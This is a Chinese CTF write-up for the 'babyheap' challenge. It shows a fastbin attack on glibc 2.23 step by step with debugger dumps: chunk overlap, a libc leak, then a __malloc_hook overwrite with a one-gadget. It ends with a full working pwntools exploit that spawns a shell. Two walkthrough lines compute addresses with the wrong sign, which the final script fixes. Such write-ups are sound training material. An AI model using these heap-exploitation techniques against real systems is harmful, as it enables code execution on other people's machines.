题目复现

这个题目给出了二进制文件。在 Ubuntu 16.04 上，libc 就用自带的。

$ file babyheap 
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
$ checksec -f babyheap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY   Fortified Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   Yes       0               2       babyheap
$ file /lib/x86_64-linux-gnu/libc-2.23.so 
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped

64 位程序，保护全开。

把它运行起来：

socat tcp4-listen:10001,reuseaddr,fork exec:./babyheap &

一个典型的堆利用题目：

$ ./babyheap 
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 1      // 分配一个指定大小的 chunk
Size: 5
Allocate Index 0
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 2      // 将指定大小数据放进 chunk，但似乎没有进行边界检查，导致溢出
Index: 0
Size: 10
Content: aaaaaaaaaa     // 10个a
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 1. Allocate    // 似乎触发了什么 bug，如果是9个a就没事
2. Fill
3. Free
4. Dump
5. Exit
Command: 4      // 打印出 chunk 的内容，长度是新建时的长度，而不是放入数据的长度
Index: 0
Content: 
aaaaa
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 3      // 释放 chunk
Index: 0
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 5

题目解析

根据前面所学的知识，我们知道释放且只释放了一个 chunk 后，该 free chunk 会被加入到 unsorted bin 中，它的 fd/bk 指针指向了 libc 中的 main_arena 结构。我们已经知道了 Fill 数据的操作存在溢出漏洞，但并没有发现 UAF 漏洞，所以要想泄露出 libc 基址，得利用 Dump 操作。另外内存分配使用了 calloc 函数，这个函数与 malloc 的区别是，calloc 会将分配的内存空间每一位都初始化为 0，所以也不能通过分配和释放几个小 chunk，再分配一个大 chunk，来泄露其内容。

怎么利用 Dump 操作呢？如果能使两个 chunk 相重叠，Free 一个，Dump 另一个，或许可行。

漏洞利用

leak libc

还是一样的，为了方便调试，先关掉 ASLR。首先分配 3 个 fast chunk 和 1 个 small chunk，其实填充数据对漏洞利用是没有意义的，这里只是为了方便观察：

alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
fill(0, "A"*16)
fill(1, "A"*16)
fill(2, "A"*16)
fill(3, "A"*16)
fill(4, "A"*128)

gef➤  x/40gx 0x0000555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4141414141414141	0x4141414141414141
0x555555757020:	0x0000000000000000	0x0000000000000021  <-- chunk 1
0x555555757030:	0x4141414141414141	0x4141414141414141
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- chunk 2
0x555555757050:	0x4141414141414141	0x4141414141414141
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x4141414141414141	0x4141414141414141
0x555555757080:	0x0000000000000000	0x0000000000000091  <-- chunk 4
0x555555757090:	0x4141414141414141	0x4141414141414141
0x5555557570a0:	0x4141414141414141	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000000	0x0000000000020ef1  <-- top chunk
0x555555757120:	0x0000000000000000	0x0000000000000000
0x555555757130:	0x0000000000000000	0x0000000000000000
gef➤  x/20gx 0xafc966564d0-0x10
0xafc966564c0:	0x0000000000000001	0x0000000000000010  <-- idx 0 -> chunk 0
0xafc966564d0:	0x0000555555757010	0x0000000000000001  <-- idx 1 -> chunk 1
0xafc966564e0:	0x0000000000000010	0x0000555555757030
0xafc966564f0:	0x0000000000000001	0x0000000000000010  <-- idx 2 -> chunk 2
0xafc96656500:	0x0000555555757050	0x0000000000000001  <-- idx 3 -> chunk 3
0xafc96656510:	0x0000000000000010	0x0000555555757070
0xafc96656520:	0x0000000000000001	0x0000000000000080  <-- idx 4 -> chunk 4
0xafc96656530:	0x0000555555757090	0x0000000000000000
0xafc96656540:	0x0000000000000000	0x0000000000000000
0xafc96656550:	0x0000000000000000	0x0000000000000000

另外我们看到，chunk 的序号被存储到一个 mmap 分配出来的结构体中，包含了 chunk 的地址和大小。程序就是通过该结构体寻找 chunk，然后各种操作的。

free 掉两个 fast chunk，这样 chunk 2 的 fd 指针会被指向 chunk 1：

free(1)
free(2)

gef➤  x/2gx &main_arena 
0x7ffff7dd1b20 <main_arena>:	0x0000000000000000	0x0000555555757040
gef➤  heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x555555757050, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x555555757030, size=0x20, flags=PREV_INUSE)
gef➤  x/40gx 0x0000555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4141414141414141	0x4141414141414141
0x555555757020:	0x0000000000000000	0x0000000000000021  <-- chunk 1 [be freed]
0x555555757030:	0x0000000000000000	0x4141414141414141
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- chunk 2 [be freed]  <-- fast bins
0x555555757050:	0x0000555555757020	0x4141414141414141      <-- fd pointer
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x4141414141414141	0x4141414141414141
0x555555757080:	0x0000000000000000	0x0000000000000091  <-- chunk 4
0x555555757090:	0x4141414141414141	0x4141414141414141
0x5555557570a0:	0x4141414141414141	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000000	0x0000000000020ef1
0x555555757120:	0x0000000000000000	0x0000000000000000
0x555555757130:	0x0000000000000000	0x0000000000000000
gef➤  x/20gx 0xafc966564d0-0x10
0xafc966564c0:	0x0000000000000001	0x0000000000000010  <-- idx 0 -> chunk 0
0xafc966564d0:	0x0000555555757010	0x0000000000000000
0xafc966564e0:	0x0000000000000000	0x0000000000000000
0xafc966564f0:	0x0000000000000000	0x0000000000000000
0xafc96656500:	0x0000000000000000	0x0000000000000001  <-- idx 3 -> chunk 3
0xafc96656510:	0x0000000000000010	0x0000555555757070
0xafc96656520:	0x0000000000000001	0x0000000000000080  <-- idx 4 -> chunk 4
0xafc96656530:	0x0000555555757090	0x0000000000000000
0xafc96656540:	0x0000000000000000	0x0000000000000000
0xafc96656550:	0x0000000000000000	0x0000000000000000

free 掉的 chunk，其结构体被清空，等待下一次 malloc，并添加到空出来的地方。

通过溢出漏洞修改已被释放的 chunk 2，让 fd 指针指向 chunk 4，这样就将 small chunk 加入到了 fastbins 链表中，然后还需要把 chunk 4 的 0x91 改成 0x21 以绕过 fastbins 大小的检查：

payload  = "A"*16
payload += p64(0)
payload += p64(0x21)
payload += p64(0)
payload += "A"*8
payload += p64(0)
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)

payload  = "A"*16
payload += p64(0)
payload += p64(0x21)
fill(3, payload)

gef➤  x/2gx &main_arena 
0x7ffff7dd1b20 <main_arena>:	0x0000000000000000	0x0000555555757040
gef➤  heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x555555757050, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x555555757090, size=0x20, flags=PREV_INUSE)  ←  [Corrupted chunk at 0x4141414141414151]
gef➤  x/40gx 0x0000555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4141414141414141	0x4141414141414141
0x555555757020:	0x0000000000000000	0x0000000000000021  <-- chunk 1 [be freed]
0x555555757030:	0x0000000000000000	0x4141414141414141
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- chunk 2 [be freed]  <-- fast bins
0x555555757050:	0x0000555555757080	0x4141414141414141      <-- fd pointer
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x4141414141414141	0x4141414141414141
0x555555757080:	0x0000000000000000	0x0000000000000021  <-- chunk 4
0x555555757090:	0x4141414141414141	0x4141414141414141
0x5555557570a0:	0x4141414141414141	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000000	0x0000000000020ef1
0x555555757120:	0x0000000000000000	0x0000000000000000
0x555555757130:	0x0000000000000000	0x0000000000000000

现在我们再分配两个 chunk，它们都会从 fastbins 中被取出来，而且 new chunk 2 会和原来的 chunk 4 起始位置重叠，但前者是 fast chunk，而后者是 small chunk，即一个大 chunk 里包含了一个小 chunk，这正是我们需要的：

alloc(0x10)
alloc(0x10)
fill(1, "B"*16)
fill(2, "C"*16)
fill(4, "D"*16)

gef➤  x/2gx &main_arena 
0x7ffff7dd1b20 <main_arena>:	0x0000000000000000	0x4141414141414141
gef➤  x/40gx 0x0000555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4141414141414141	0x4141414141414141
0x555555757020:	0x0000000000000000	0x0000000000000021  <-- chunk 1 [be freed]
0x555555757030:	0x0000000000000000	0x4141414141414141
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- new chunk 1
0x555555757050:	0x4242424242424242	0x4242424242424242
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x4141414141414141	0x4141414141414141
0x555555757080:	0x0000000000000000	0x0000000000000021  <-- chunk 4, new chunk 2
0x555555757090:	0x4444444444444444	0x4444444444444444
0x5555557570a0:	0x0000000000000000	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000000	0x0000000000020ef1
0x555555757120:	0x0000000000000000	0x0000000000000000
0x555555757130:	0x0000000000000000	0x0000000000000000
gef➤  x/20gx 0xafc966564d0-0x10
0xafc966564c0:	0x0000000000000001	0x0000000000000010  <-- idx 0 -> chunk 0
0xafc966564d0:	0x0000555555757010	0x0000000000000001  <-- idx 1 -> new chunk 1
0xafc966564e0:	0x0000000000000010	0x0000555555757050
0xafc966564f0:	0x0000000000000001	0x0000000000000010  <-- idx 2 -> new chunk 2
0xafc96656500:	0x0000555555757090	0x0000000000000001  <-- idx 3 -> chunk 3
0xafc96656510:	0x0000000000000010	0x0000555555757070
0xafc96656520:	0x0000000000000001	0x0000000000000080  <-- idx 4 -> chunk 4
0xafc96656530:	0x0000555555757090	0x0000000000000000
0xafc96656540:	0x0000000000000000	0x0000000000000000
0xafc96656550:	0x0000000000000000	0x0000000000000000

可以看到新分配的 chunk 2，填补到了被释放的 chunk 2 的位置上。

再次利用溢出漏洞将 chunk 4 的 0x21 改回 0x91，然后为了避免 free(4) 后该 chunk 被合并进 top chunk，需要再分配一个 small chunk：

payload  = "A"*16
payload += p64(0)
payload += p64(0x91)
fill(3, payload)

alloc(0x80)
fill(5, "A"*128)

gef➤  x/60gx 0x0000555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4141414141414141	0x4141414141414141
0x555555757020:	0x0000000000000000	0x0000000000000021
0x555555757030:	0x0000000000000000	0x4141414141414141
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- new chunk 1
0x555555757050:	0x4242424242424242	0x4242424242424242
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x4141414141414141	0x4141414141414141
0x555555757080:	0x0000000000000000	0x0000000000000091  <-- chunk 4, new chunk 2
0x555555757090:	0x4444444444444444	0x4444444444444444
0x5555557570a0:	0x0000000000000000	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000000	0x0000000000000091  <-- chunk 5
0x555555757120:	0x4141414141414141	0x4141414141414141
0x555555757130:	0x4141414141414141	0x4141414141414141
0x555555757140:	0x4141414141414141	0x4141414141414141
0x555555757150:	0x4141414141414141	0x4141414141414141
0x555555757160:	0x4141414141414141	0x4141414141414141
0x555555757170:	0x4141414141414141	0x4141414141414141
0x555555757180:	0x4141414141414141	0x4141414141414141
0x555555757190:	0x4141414141414141	0x4141414141414141
0x5555557571a0:	0x0000000000000000	0x0000000000020e61  <-- top chunk
0x5555557571b0:	0x0000000000000000	0x0000000000000000
0x5555557571c0:	0x0000000000000000	0x0000000000000000
0x5555557571d0:	0x0000000000000000	0x0000000000000000
gef➤  x/20gx 0xafc966564d0-0x10
0xafc966564c0:	0x0000000000000001	0x0000000000000010  <-- idx 0 -> chunk 0
0xafc966564d0:	0x0000555555757010	0x0000000000000001  <-- idx 1 -> new chunk 1
0xafc966564e0:	0x0000000000000010	0x0000555555757050
0xafc966564f0:	0x0000000000000001	0x0000000000000010  <-- idx 2 -> new chunk 2
0xafc96656500:	0x0000555555757090	0x0000000000000001  <-- idx 3 -> chunk 3
0xafc96656510:	0x0000000000000010	0x0000555555757070
0xafc96656520:	0x0000000000000001	0x0000000000000080  <-- idx 4 -> chunk 4
0xafc96656530:	0x0000555555757090	0x0000000000000001  <-- idx 5 -> chunk 5
0xafc96656540:	0x0000000000000080	0x0000555555757120
0xafc96656550:	0x0000000000000000	0x0000000000000000

这时，如果我们将 chunk 4 释放掉，其 fd 指针会被设置为指向 unsorted bin 链表的头部，这个地址在 libc 中，且相对位置固定，利用它就可以算出 libc 被加载的地址：

free(4)

gef➤  heap bins unsorted 
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x555555757080, bk=0x555555757080
 →   Chunk(addr=0x555555757090, size=0x90, flags=PREV_INUSE)
gef➤  x/60gx 0x0000555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4141414141414141	0x4141414141414141
0x555555757020:	0x0000000000000000	0x0000000000000021
0x555555757030:	0x0000000000000000	0x4141414141414141
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- new chunk 1
0x555555757050:	0x4242424242424242	0x4242424242424242
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x4141414141414141	0x4141414141414141
0x555555757080:	0x0000000000000000	0x0000000000000091  <-- chunk 4 [be freed], new chunk 2 <-- unsorted bin
0x555555757090:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x5555557570a0:	0x0000000000000000	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000090	0x0000000000000090  <-- chunk 5
0x555555757120:	0x4141414141414141	0x4141414141414141
0x555555757130:	0x4141414141414141	0x4141414141414141
0x555555757140:	0x4141414141414141	0x4141414141414141
0x555555757150:	0x4141414141414141	0x4141414141414141
0x555555757160:	0x4141414141414141	0x4141414141414141
0x555555757170:	0x4141414141414141	0x4141414141414141
0x555555757180:	0x4141414141414141	0x4141414141414141
0x555555757190:	0x4141414141414141	0x4141414141414141
0x5555557571a0:	0x0000000000000000	0x0000000000020e61
0x5555557571b0:	0x0000000000000000	0x0000000000000000
0x5555557571c0:	0x0000000000000000	0x0000000000000000
0x5555557571d0:	0x0000000000000000	0x0000000000000000
gef➤  x/20gx 0xafc966564d0-0x10
0xafc966564c0:	0x0000000000000001	0x0000000000000010  <-- idx 0 -> chunk 0
0xafc966564d0:	0x0000555555757010	0x0000000000000001  <-- idx 1 -> new chunk 1
0xafc966564e0:	0x0000000000000010	0x0000555555757050
0xafc966564f0:	0x0000000000000001	0x0000000000000010  <-- idx 2 -> new chunk 2
0xafc96656500:	0x0000555555757090	0x0000000000000001  <-- idx 3 -> chunk 3
0xafc96656510:	0x0000000000000010	0x0000555555757070
0xafc96656520:	0x0000000000000000	0x0000000000000000
0xafc96656530:	0x0000000000000000	0x0000000000000001  <-- idx 5 -> chunk 5
0xafc96656540:	0x0000000000000080	0x0000555555757120
0xafc96656550:	0x0000000000000000	0x0000000000000000

最后利用 Dump 操作即可将地址泄漏出来：

leak = u64(dump(2)[:8])
libc = leak - 0x3c4b78          # 0x3c4b78 = leak - libc
__malloc_hook = libc - 0x3c4b10    # readelf -s libc.so.6 | grep __malloc_hook@
one_gadget = libc - 0x4526a

[*] leak => 0x7ffff7dd1b78
[*] libc => 0x7ffff7a0d000
[*] __malloc_hook => 0x7ffff7dd1b10
[*] one_gadget => 0x7ffff7a5226a

get shell

由于开启了 Full RELRO，改写 GOT 表是不行了。考虑用 __malloc_hook，它是一个弱类型的函数指针变量，指向 ` void * function(size_t size, void * caller)`，当调用 malloc() 时，首先判断 hook 函数指针是否为空，不为空则调用它。所以这里我们传入一个 one-gadget 即可（详情请查看章节4.6）。

首先考虑怎样利用 fastbins 在 __malloc_hook 指向的地址处写入 one_gadget 的地址。这里有一个技巧，地址偏移，就像下面这样构造一个 fake chunk，其大小为 0x7f，也就是一个 fast chunk：

gef➤  x/10gx (long long)(&main_arena)-0x30
0x7ffff7dd1af0 <_IO_wide_data_0+304>:	0x00007ffff7dd0260	0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>:	0x00007ffff7a92e20	0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd1b20 <main_arena>:	0x0000000000000000	0x4141414141414141  <-- target
0x7ffff7dd1b30 <main_arena+16>:	0x0000000000000000	0x0000000000000000
gef➤  x/10gx (long long)(&main_arena)-0x30+0xd
0x7ffff7dd1afd:	0xfff7a92e20000000	0xfff7a92a0000007f      <-- fake chunk
0x7ffff7dd1b0d: 0x000000000000007f	0x0000000000000000
0x7ffff7dd1b1d:	0x0000000000000000	0x4141414141000000
0x7ffff7dd1b2d:	0x0000000000414141	0x0000000000000000
0x7ffff7dd1b3d:	0x0000000000000000	0x0000000000000000

用本地的泄露地址减去 libc 地址得到偏移：

[0x00000000]> ?v 0x7ffff7dd1b78 - 0x7ffff7a0d000
0x3c4b78

之前 free 掉的 chunk 4 一个 small chunk，被添加到了 unsorted bin 中，而这里我们需要的是 fast chunk，所以这里采用分配一个 fast chunk，再释放掉的办法，将其添加到 fast bins 中。然后改写它的 fd 指针指向 fake chunk（当然也要通过 libc 偏移计算出来）：

alloc(0x60)
free(4)

payload = p64(libc + 0x3c4afd)
fill(2, payload)

gef➤  heap bins unsorted 
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x5555557570f0, bk=0x5555557570f0
 →   Chunk(addr=0x555555757100, size=0x20, flags=PREV_INUSE)
gef➤  x/60gx 0x0000555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4141414141414141	0x4141414141414141
0x555555757020:	0x0000000000000000	0x0000000000000021
0x555555757030:	0x0000000000000000	0x4141414141414141
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- new chunk 1
0x555555757050:	0x4242424242424242	0x4242424242424242
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x4141414141414141	0x4141414141414141
0x555555757080:	0x0000000000000000	0x0000000000000071  <-- new chunk 2, new chunk 4 [be freed]
0x555555757090:	0x00007ffff7dd1afd	0x0000000000000000      <-- fd pointer
0x5555557570a0:	0x0000000000000000	0x0000000000000000
0x5555557570b0:	0x0000000000000000	0x0000000000000000
0x5555557570c0:	0x0000000000000000	0x0000000000000000
0x5555557570d0:	0x0000000000000000	0x0000000000000000
0x5555557570e0:	0x0000000000000000	0x0000000000000000
0x5555557570f0:	0x0000000000000000	0x0000000000000021      <-- unsorted bin
0x555555757100:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x555555757110:	0x0000000000000020	0x0000000000000090  <-- chunk 5
0x555555757120:	0x4141414141414141	0x4141414141414141
0x555555757130:	0x4141414141414141	0x4141414141414141
0x555555757140:	0x4141414141414141	0x4141414141414141
0x555555757150:	0x4141414141414141	0x4141414141414141
0x555555757160:	0x4141414141414141	0x4141414141414141
0x555555757170:	0x4141414141414141	0x4141414141414141
0x555555757180:	0x4141414141414141	0x4141414141414141
0x555555757190:	0x4141414141414141	0x4141414141414141
0x5555557571a0:	0x0000000000000000	0x0000000000020e61
0x5555557571b0:	0x0000000000000000	0x0000000000000000
0x5555557571c0:	0x0000000000000000	0x0000000000000000
0x5555557571d0:	0x0000000000000000	0x0000000000000000

连续两次分配，第一次将 fake chunk 添加到 fast bins，第二次分配 fake chunk，分别是 new new chunk 4 和 chunk 6。然后就可以改写 __malloc_hook 的地址，将其指向 one-gadget：

alloc(0x60)
alloc(0x60)

payload  = p8(0)*3
payload += p64(one_gadget)
fill(6, payload)

gef➤  x/10gx (long long)(&main_arena)-0x30
0x7ffff7dd1af0 <_IO_wide_data_0+304>:	0x00007ffff7dd0260	0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>:	0x00007ffff7a92e20	0x000000fff7a92a00
0x7ffff7dd1b10 <__malloc_hook>:	0x00007ffff7a5226a	0x0000000000000000  <-- target
0x7ffff7dd1b20 <main_arena>:	0x0000000000000000	0x4141414141414141
0x7ffff7dd1b30 <main_arena+16>:	0x0000000000000000	0x0000000000000000
gef➤  x/60gx 0x0000555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4141414141414141	0x4141414141414141
0x555555757020:	0x0000000000000000	0x0000000000000021
0x555555757030:	0x0000000000000000	0x4141414141414141
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- new chunk 1
0x555555757050:	0x4242424242424242	0x4242424242424242
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x4141414141414141	0x4141414141414141
0x555555757080:	0x0000000000000000	0x0000000000000071  <-- new chunk 2, new new chunk 4
0x555555757090:	0x0000000000000000	0x0000000000000000
0x5555557570a0:	0x0000000000000000	0x0000000000000000
0x5555557570b0:	0x0000000000000000	0x0000000000000000
0x5555557570c0:	0x0000000000000000	0x0000000000000000
0x5555557570d0:	0x0000000000000000	0x0000000000000000
0x5555557570e0:	0x0000000000000000	0x0000000000000000
0x5555557570f0:	0x0000000000000000	0x0000000000000021      <-- unsorted bin
0x555555757100:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x555555757110:	0x0000000000000020	0x0000000000000090  <-- chunk 5
0x555555757120:	0x4141414141414141	0x4141414141414141
0x555555757130:	0x4141414141414141	0x4141414141414141
0x555555757140:	0x4141414141414141	0x4141414141414141
0x555555757150:	0x4141414141414141	0x4141414141414141
0x555555757160:	0x4141414141414141	0x4141414141414141
0x555555757170:	0x4141414141414141	0x4141414141414141
0x555555757180:	0x4141414141414141	0x4141414141414141
0x555555757190:	0x4141414141414141	0x4141414141414141
0x5555557571a0:	0x0000000000000000	0x0000000000020e61
0x5555557571b0:	0x0000000000000000	0x0000000000000000
0x5555557571c0:	0x0000000000000000	0x0000000000000000
0x5555557571d0:	0x0000000000000000	0x0000000000000000
gef➤  x/30gx 0xafc966564d0-0x10
0xafc966564c0:	0x0000000000000001	0x0000000000000010  <-- idx 0 -> chunk 0
0xafc966564d0:	0x0000555555757010	0x0000000000000001  <-- idx 1 -> new chunk 1
0xafc966564e0:	0x0000000000000010	0x0000555555757050
0xafc966564f0:	0x0000000000000001	0x0000000000000010  <-- idx 2 -> new chunk 2
0xafc96656500:	0x0000555555757090	0x0000000000000001  <-- idx 3 -> chunk 3
0xafc96656510:	0x0000000000000010	0x0000555555757070
0xafc96656520:	0x0000000000000001	0x0000000000000060  <-- idx 4 -> new new chunk4
0xafc96656530:	0x0000555555757090	0x0000000000000001  <-- idx 5 -> chunk 5
0xafc96656540:	0x0000000000000080	0x0000555555757120
0xafc96656550:	0x0000000000000001	0x0000000000000060  <-- idx 6 -> chunk 6
0xafc96656560:	0x00007ffff7dd1b0d	0x0000000000000000
0xafc96656570:	0x0000000000000000	0x0000000000000000
0xafc96656580:	0x0000000000000000	0x0000000000000000
0xafc96656590:	0x0000000000000000	0x0000000000000000
0xafc966565a0:	0x0000000000000000	0x0000000000000000

最后，只要调用了 malloc，就会触发 hook 函数，即 one-gadget。现在可以开启 ASLR 了，因为通过泄漏 libc 地址，我们已经完全绕过了它。

Bingo!!!

$ python exp.py 
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] leak => 0x7f8c1be9eb78
[*] libc => 0x7f8c1bada000
[*] __malloc_hook => 0x7f8c1be9eb10
[*] one_gadget => 0x7f8c1bb1f26a
[*] Switching to interactive mode
$ whoami
firmy

本题多次使用 fastbin attack，确实经典。

exploit

完整的 exp 如下：

from pwn import *

io = remote('127.0.0.1', 10001)

def alloc(size):
    io.recvuntil("Command: ")
    io.sendline('1')
    io.recvuntil("Size: ")
    io.sendline(str(size))

def fill(idx, cont):
    io.recvuntil("Command: ")
    io.sendline('2')
    io.recvuntil("Index: ")
    io.sendline(str(idx))
    io.recvuntil("Size: ")
    io.sendline(str(len(cont)))
    io.recvuntil("Content: ")
    io.send(cont)

def free(idx):
    io.recvuntil("Command: ")
    io.sendline('3')
    io.recvuntil("Index: ")
    io.sendline(str(idx))

def dump(idx):
    io.recvuntil("Command: ")
    io.sendline('4')
    io.recvuntil("Index: ")
    io.sendline(str(idx))
    io.recvuntil("Content: \n")
    data = io.recvline()
    return data

alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
#fill(0, "A"*16)
#fill(1, "A"*16)
#fill(2, "A"*16)
#fill(3, "A"*16)
#fill(4, "A"*128)

free(1)
free(2)

payload  = "A"*16
payload += p64(0)
payload += p64(0x21)
payload += p64(0)
payload += "A"*8
payload += p64(0)
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)

payload  = "A"*16
payload += p64(0)
payload += p64(0x21)
fill(3, payload)

alloc(0x10)
alloc(0x10)
#fill(1, "B"*16)
#fill(2, "C"*16)
#fill(4, "D"*16)

payload  = "A"*16
payload += p64(0)
payload += p64(0x91)
fill(3, payload)

alloc(0x80)
#fill(5, "A"*128)

free(4)

leak = u64(dump(2)[:8])
libc = leak - 0x3c4b78          # 0x3c4b78 = leak - libc
__malloc_hook = libc + 0x3c4b10    # readelf -s libc.so.6 | grep __malloc_hook@
one_gadget = libc + 0x4526a
log.info("leak => 0x%x" % leak)
log.info("libc => 0x%x" % libc)
log.info("__malloc_hook => 0x%x" % __malloc_hook)
log.info("one_gadget => 0x%x" % one_gadget)

alloc(0x60)
free(4)

payload = p64(libc + 0x3c4afd)
fill(2, payload)

alloc(0x60)
alloc(0x60)

payload  = p8(0)*3
payload += p64(one_gadget)
fill(6, payload)

alloc(1)
io.interactive()

参考资料